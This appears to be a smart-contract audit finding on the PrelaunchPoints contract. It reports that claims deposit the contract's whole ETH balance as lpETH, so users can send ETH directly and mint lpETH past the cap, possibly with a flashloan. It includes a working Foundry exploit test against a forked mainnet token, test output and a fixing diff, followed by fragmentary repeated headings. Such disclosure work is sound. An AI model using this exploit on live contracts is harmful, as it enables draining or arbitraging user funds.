The total lpETH claimable through the PrelaunchPoints contract should be capped to the amount of ETH and ETH value of LRTs deposited up until the claims start but this allows users to bypass that limit.
Allows users to easily arbitrage lpETH on exchanges either using their own funds or a flashloan.
Defeats the purpose of having ETH deposits in the first place.
Proof of Concept
Root Cause
function _claim(address _token, address _receiver, uint8 _percentage, Exchange _exchange, bytes calldata _data)
internal
returns (uint256 claimedAmount)
{
uint256 userStake = balances[msg.sender][_token];
if (userStake == 0) {
revert NothingToClaim();
}
if (_token == ETH) {
claimedAmount = userStake.mulDiv(totalLpETH, totalSupply);
balances[msg.sender][_token] = 0;
lpETH.safeTransfer(_receiver, claimedAmount);
} else { <===== audit
uint256 userClaim = userStake * _percentage / 100; // <===== audit
_validateData(_token, userClaim, _exchange, _data);
balances[msg.sender][_token] = userStake - userClaim; <===== audit
// At this point there should not be any ETH in the contract
// Swap token to ETH
_fillQuote(IERC20(_token), userClaim, _data); <===== audit
// Convert swapped ETH to lpETH (1 to 1 conversion)
claimedAmount = address(this).balance; // <===== audit
lpETH.deposit{value: claimedAmount}(_receiver);
}
emit Claimed(msg.sender, _token, claimedAmount);
}
/**
* Enable receive ETH
* @dev ETH sent to this contract directly will be locked forever.
*/
receive() external payable {} // <===== audit
When claiming lpETH against an LRT deposit, the contract swaps the LRT to ETH then deposits the entire ETH held by the contract instead of the amount received from the swap to the lpETH contract.
Percentage is a user input and can be set to 0 or a low value based on the deposited amount to make the userClaim amount 0 or very low.
0x UniswapV3 swap does not fail in case of a 0 input amount.
Users can send ETH directly to the contract.
Test
// ...
contract PrelaunchPointsTest is Test {
// ...
function testClaimLRT() public {
address ezETH = 0xbf5495Efe5DB9ce00f80364C8B423567e58d2110;
address bob = vm.addr(1);
uint256 amount = 1 wei;
deal(ezETH, bob, amount);
vm.deal(bob, 1000 ether); // <==== This can be a flashloan
prelaunchPoints.allowToken(ezETH);
vm.startPrank(bob);
ERC20Token(ezETH).approve(address(prelaunchPoints), amount);
prelaunchPoints.lock(ezETH, amount, referral);
vm.stopPrank();
prelaunchPoints.setLoopAddresses(address(lpETH), address(lpETHVault));
vm.warp(
prelaunchPoints.loopActivation() + prelaunchPoints.TIMELOCK() + 1
);
prelaunchPoints.convertAllETH();
vm.warp(prelaunchPoints.startClaimDate() + 1);
vm.startPrank(bob);
address(prelaunchPoints).call{value: 10 ether}("");
prelaunchPoints.claim(
ezETH,
0, // Percentage
PrelaunchPoints.Exchange.UniswapV3,
abi.encodeWithSelector(
0x803ba26d, // PrelaunchPoints.UNI_SELECTOR
abi.encodePacked(ezETH, uint24(100), WETH), // encodedPath
0, // Amount in
0, // Min Amount Out
address(0) // Will be set to the PrelaunchPoints contract address by the 0x UniswapV3 feature
)
);
address(prelaunchPoints).call{value: 20 ether}("");
prelaunchPoints.claim(
ezETH,
1, // Percentage
PrelaunchPoints.Exchange.UniswapV3,
abi.encodeWithSelector(
0x803ba26d, // PrelaunchPoints.UNI_SELECTOR
abi.encodePacked(ezETH, uint24(100), WETH), // encodedPath
prelaunchPoints.balances(bob, ezETH) / 100, // <==== Amount in = 1 / 100 = 0
0, // Min Amount Out
address(0) // Will be set to the PrelaunchPoints contract address by the 0x UniswapV3 feature
)
);
assertNotEq(lpETH.balanceOf(bob), 30 ether);
// Bob can sell lpETH for ETH here in case of an arbitrage
vm.stopPrank();
}
}
Once added, you can run the test using : forge test --match-test testClaimLRT --fork-url YOUR_RPC_URL -vv
Results
Ran 1 test for test/PrelaunchPoints.t.sol:PrelaunchPointsTest
[FAIL. Reason: assertion failed] testClaimLRT() (gas: 434432)
Logs:
Error: a != b not satisfied [uint]
Left: 30000000000000000000
Right: 30000000000000000000
Suite result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 5.51s (2.95s CPU time)
Ran 1 test suite in 7.06s (5.51s CPU time): 0 tests passed, 1 failed, 0 skipped (1 total tests)
Failing tests:
Encountered 1 failing test in test/PrelaunchPoints.t.sol:PrelaunchPointsTest
[FAIL. Reason: assertion failed] testClaimLRT() (gas: 434432)
Encountered a total of 1 failing tests, 0 tests succeeded
Tools Used
Manual Review
Recommended Mitigation Steps
Only deposit the ETH received from the swap to the lpETH contract
index aa6b9f4..ddd2f1d 100644
--- a/src/PrelaunchPoints.sol
+++ b/src/PrelaunchPoints.sol
@@ -256,10 +256,9 @@ contract PrelaunchPoints {
// At this point there should not be any ETH in the contract
// Swap token to ETH
- _fillQuote(IERC20(_token), userClaim, _data);
+ claimedAmount = _fillQuote(IERC20(_token), userClaim, _data);
// Convert swapped ETH to lpETH (1 to 1 conversion)
- claimedAmount = address(this).balance;
lpETH.deposit{value: claimedAmount}(_receiver);
}
emit Claimed(msg.sender, _token, claimedAmount);
@@ -488,7 +487,7 @@ contract PrelaunchPoints {
* @param _swapCallData The `data` field from the API response.
*/
- function _fillQuote(IERC20 _sellToken, uint256 _amount, bytes calldata _swapCallData) internal {
+ function _fillQuote(IERC20 _sellToken, uint256 _amount, bytes calldata _swapCallData) internal returns (uint256) {
// Track our balance of the buyToken to determine how much we've bought.
uint256 boughtETHAmount = address(this).balance;
@@ -502,6 +501,7 @@ contract PrelaunchPoints {
// Use our current buyToken balance to determine how much we've bought.
boughtETHAmount = address(this).balance - boughtETHAmount;
emit SwappedTokens(address(_sellToken), _amount, boughtETHAmount);
+ return boughtETHAmount;
}
/*//////////////////////////////////////////////////////////////
Lines of code
https://github.com/code-423n4/2024-05-loop/blob/main/src/PrelaunchPoints.sol#L240-L266
Vulnerability details
Impact
Proof of Concept
Root Cause
userClaim
amount 0 or very low.Test
Once added, you can run the test using :
forge test --match-test testClaimLRT --fork-url YOUR_RPC_URL -vv
Results
Tools Used
Manual Review
Recommended Mitigation Steps
Only deposit the ETH received from the swap to the lpETH contract
Assessed type
Other